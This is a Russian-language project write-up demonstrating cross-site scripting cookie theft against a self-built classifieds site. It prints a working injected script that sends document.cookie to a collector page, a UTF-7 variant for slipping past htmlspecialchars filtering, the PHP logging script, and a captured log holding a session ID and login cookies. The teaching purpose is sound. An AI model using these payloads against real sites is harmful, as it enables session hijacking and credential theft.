XSS cookie stealing. В нашем проекте исследуется XSS уязвимость на примере взлома сайта с авторизацией и воровства cookie. Немного о XSS (from Wikipedia) XSS (Сross Site Sсriрting — «межсайтовый скриптинг») — тип уязвимости компьютерной системы, используется при хекрской атаке Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в качестве средства атаки на клиента. XSS-атака обычно проводится путём конструирования специального URL, который атакующий предъявляет своей жертве. Иногда для термина используют сокращение «CSS», но чтобы не было путаницы с каскадными таблицами стилей, используют сокращение «XSS». Условно XSS можно разделить на активные и пассивные: при активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы, при открытии какой-либо страницы зараженного сайта; пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS, требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например клик по специально сформированной ссылке). В качестве сайта-жертвы нами был написан простой ресурс по размещению пользовательских объявлений. (http://calumetregional.org/) Сайт использует механизм авторизации и поддерживает http-сессию с клиентом при помощи файлов Cookie. В своём примере мы используем нешифрованные cookie, но это непринципиально, злоумышленник может использовать любые похищенные Cookie, прикрепляя их с помощью специальных программ к http-сессии и выдавая себя за другое лицо. После того, как злоумышленник убеждается, что ресурс по размещению объявлений не защищён фильтрами вводимой информации, он размещает в теле нового объявления свой скрипт, к-й содержит обращение к ресурсу с размещённым скриптом по сбору информации из cookie. Использование javascript-объекта Image позволяет избежать явного редиректа на страницу злоумышленника. Внедряемый скрипт: sss</title><script>img = new Image(); img.src = "http://calumetregional.org/frog.php?"+document.cookie;</script> Теперь рассмотрим модификацию приведённой выше атаки: пусть администратор ресурса по размещению объявлений установил фильтр на спецсимволы ">/<" (см. функцию htmlspecialchars() в index.php). В этом случае будем вставлять скрипт в кодировке UTF-7, полагая, что браузер, заметив её, будет использовать encoding auto-select. В результате наш скрипт обходит фильтр и выполняется на клиентской машине Внедряемый скрипт в UTF-7: sss+ADwA-/title+AD4APA-script+AD4A-img +AD0A- new Image()+ADsA- img.src +AD0A+ACIA-http://calumetregional.org/frog.php?+ACIAKw-document.cookie+ADsAPA/script+AD4APHP-скрипт по сбору cookie: <?php $fp=fopen("log.html","a+t"); fputs($fp," Время: ".date("[D d/m/Y H:i]")."<br> IP: ".$_SERVER['REMOTE_ADDR']."<br> Откуда: ".htmlentities($_SERVER['HTTP_REFERER'])."<br> Браузер: ".$_SERVER['HTTP_USER_AGENT']."<br> QUERY_STRING: ".$_SERVER['QUERY_STRING']."<br><br> "); fclose($fp); ?> Злоумышленнику остаётся только заходить на страницу http://calumetregional.org/log.html и просматривать украденные cookie Время: [Fri 23/05/2008 17:03] IP: 217.67.117.64 Откуда: http://calumetregional.org/?id=14 Браузер: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; Embedded Web Browser from: http://bsalsa.com/; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30) QUERY_STRING: login+AF8-cookes+AD0-frog+ADs-%20pass+AF8-cookes+AD0qwerty+ADs-%20PHPSESSID+AD0-a79103c54dcb5671f8c0d2219fedd7bc